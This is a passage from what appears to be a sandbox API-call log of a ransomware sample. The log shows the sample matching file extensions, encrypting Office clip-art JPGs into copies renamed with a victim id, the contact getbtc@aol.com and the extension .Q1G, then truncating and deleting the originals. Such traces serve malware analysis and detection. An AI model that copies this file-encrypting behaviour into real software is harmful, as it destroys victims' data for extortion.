lpString2=".JPG") returned -1 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString=".1cd") returned 4 [0261.796] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString=".jpg") returned 4 [0261.796] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString=".doc") returned 4 [0261.796] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.796] lstrlenW (lpString=".docx") returned 5 [0261.796] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0261.796] lstrlenW (lpString=".pdf") returned 4 [0261.796] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString=".xls") returned 4 [0261.796] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString=".xlsx") returned 5 [0261.796] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0261.796] lstrlenW (lpString=".ppt") returned 4 [0261.796] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString=".zip") returned 4 [0261.796] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString=".rar") returned 4 [0261.796] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString=".bz2") returned 4 [0261.796] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.796] lstrlenW (lpString=".7z") returned 3 [0261.797] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.797] lstrlenW (lpString=".dbf") returned 4 [0261.797] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.797] lstrlenW (lpString=".1cd") returned 4 [0261.797] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.797] lstrlenW (lpString=".jpg") returned 4 [0261.797] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.797] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.797] lstrlenW (lpString="J0145707.JPG") returned 12 [0261.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.797] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=36820) returned 1 [0261.798] CloseHandle (hObject=0x37c) returned 1 [0261.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0261.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.798] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.798] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.822] GetLastError () returned 0x0 [0261.822] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8fd4, lpOverlapped=0x0) returned 1 [0261.824] WriteFile (in: hFile=0x1f8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8fe0, lpOverlapped=0x0) returned 1 [0261.828] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.845] WriteFile (in: hFile=0x1f8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.845] SetEndOfFile (hFile=0x1f8) returned 1 [0261.856] CloseHandle (hObject=0x1f8) returned 1 [0261.856] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.856] SetEndOfFile (hFile=0x37c) returned 1 [0261.859] CloseHandle (hObject=0x37c) returned 1 [0261.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0261.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.895] lstrlenW (lpString=".doc") returned 4 [0261.895] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.895] lstrlenW (lpString=".docx") returned 5 [0261.895] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0261.895] lstrlenW (lpString=".pdf") returned 4 [0261.895] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.895] lstrlenW (lpString=".xls") returned 4 [0261.895] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.895] lstrlenW (lpString=".xlsx") returned 5 [0261.895] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0261.895] lstrlenW (lpString=".ppt") returned 4 [0261.895] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.895] lstrlenW (lpString=".zip") returned 4 [0261.895] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.895] lstrlenW (lpString=".rar") returned 4 [0261.896] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString=".bz2") returned 4 [0261.896] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.896] lstrlenW (lpString=".7z") returned 3 [0261.896] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString=".dbf") returned 4 [0261.896] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString=".1cd") returned 4 [0261.896] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString=".jpg") returned 4 [0261.896] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString=".doc") returned 4 [0261.896] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.896] lstrlenW (lpString=".docx") returned 5 [0261.896] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0261.896] lstrlenW (lpString=".pdf") returned 4 [0261.896] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString=".xls") returned 4 [0261.896] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString=".xlsx") returned 5 [0261.896] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0261.896] lstrlenW (lpString=".ppt") returned 4 [0261.896] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.896] lstrlenW (lpString=".zip") returned 4 [0261.896] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString=".rar") returned 4 [0261.896] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.896] lstrlenW (lpString=".bz2") returned 4 [0261.896] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.896] lstrlenW (lpString=".7z") returned 3 [0261.897] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.897] lstrlenW (lpString=".dbf") returned 4 [0261.897] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.897] lstrlenW (lpString=".1cd") returned 4 [0261.897] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0261.897] lstrlenW (lpString=".jpg") returned 4 [0261.897] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.897] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.897] lstrlenW (lpString="J0145904.JPG") returned 12 [0261.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.897] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=39542) returned 1 [0261.897] CloseHandle (hObject=0x388) returned 1 [0261.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0261.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.898] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.898] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0261.899] GetLastError () returned 0x0 [0261.899] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x9a76, lpOverlapped=0x0) returned 1 [0261.949] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0261.950] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.950] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.950] SetEndOfFile (hFile=0x3a8) returned 1 [0261.950] CloseHandle (hObject=0x3a8) returned 1 [0261.951] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.951] SetEndOfFile (hFile=0x388) returned 1 [0261.953] CloseHandle (hObject=0x388) returned 1 [0261.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0261.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.954] lstrlenW (lpString=".doc") returned 4 [0261.954] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.954] lstrlenW (lpString=".docx") returned 5 [0261.954] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0261.954] lstrlenW (lpString=".pdf") returned 4 [0261.954] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.954] lstrlenW (lpString=".xls") returned 4 [0261.954] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.954] lstrlenW (lpString=".xlsx") returned 5 [0261.954] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0261.954] lstrlenW (lpString=".ppt") returned 4 [0261.954] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.954] lstrlenW (lpString=".zip") returned 4 [0261.954] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.954] lstrlenW (lpString=".rar") returned 4 [0261.954] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.954] lstrlenW (lpString=".bz2") returned 4 [0261.955] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.955] lstrlenW (lpString=".7z") returned 3 [0261.955] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString=".dbf") returned 4 [0261.955] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString=".1cd") returned 4 [0261.955] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString=".jpg") returned 4 [0261.955] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString=".doc") returned 4 [0261.955] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.955] lstrlenW (lpString=".docx") returned 5 [0261.955] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0261.955] lstrlenW (lpString=".pdf") returned 4 [0261.955] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.955] lstrlenW (lpString=".xls") returned 4 [0261.955] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.955] lstrlenW (lpString=".xlsx") returned 5 [0261.955] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0261.955] lstrlenW (lpString=".ppt") returned 4 [0261.955] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.955] lstrlenW (lpString=".zip") returned 4 [0261.955] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.955] lstrlenW (lpString=".rar") returned 4 [0261.955] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.955] lstrlenW (lpString=".bz2") returned 4 [0261.955] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.955] lstrlenW (lpString=".7z") returned 3 [0261.955] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.956] lstrlenW (lpString=".dbf") returned 4 [0261.956] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.956] lstrlenW (lpString=".1cd") returned 4 [0261.956] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0261.956] lstrlenW (lpString=".jpg") returned 4 [0261.956] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.956] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.956] lstrlenW (lpString="J0148757.JPG") returned 12 [0261.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.956] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=67540) returned 1 [0261.957] CloseHandle (hObject=0x388) returned 1 [0261.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0261.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0261.958] GetLastError () returned 0x0 [0261.958] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x107d4, lpOverlapped=0x0) returned 1 [0262.025] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x107e0, lpOverlapped=0x0) returned 1 [0262.026] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.026] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.026] SetEndOfFile (hFile=0x3a8) returned 1 [0262.026] CloseHandle (hObject=0x3a8) returned 1 [0262.027] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.027] SetEndOfFile (hFile=0x388) returned 1 [0262.029] CloseHandle (hObject=0x388) returned 1 [0262.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.030] lstrlenW (lpString=".doc") returned 4 [0262.030] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.030] lstrlenW (lpString=".docx") returned 5 [0262.030] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0262.030] lstrlenW (lpString=".pdf") returned 4 [0262.031] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString=".xls") returned 4 [0262.031] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString=".xlsx") returned 5 [0262.031] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0262.031] lstrlenW (lpString=".ppt") returned 4 [0262.031] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString=".zip") returned 4 [0262.031] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString=".rar") returned 4 [0262.031] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString=".bz2") returned 4 [0262.031] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.031] lstrlenW (lpString=".7z") returned 3 [0262.031] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString=".dbf") returned 4 [0262.031] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString=".1cd") returned 4 [0262.031] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString=".jpg") returned 4 [0262.031] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.031] lstrlenW (lpString=".doc") returned 4 [0262.031] lstrcmpiW 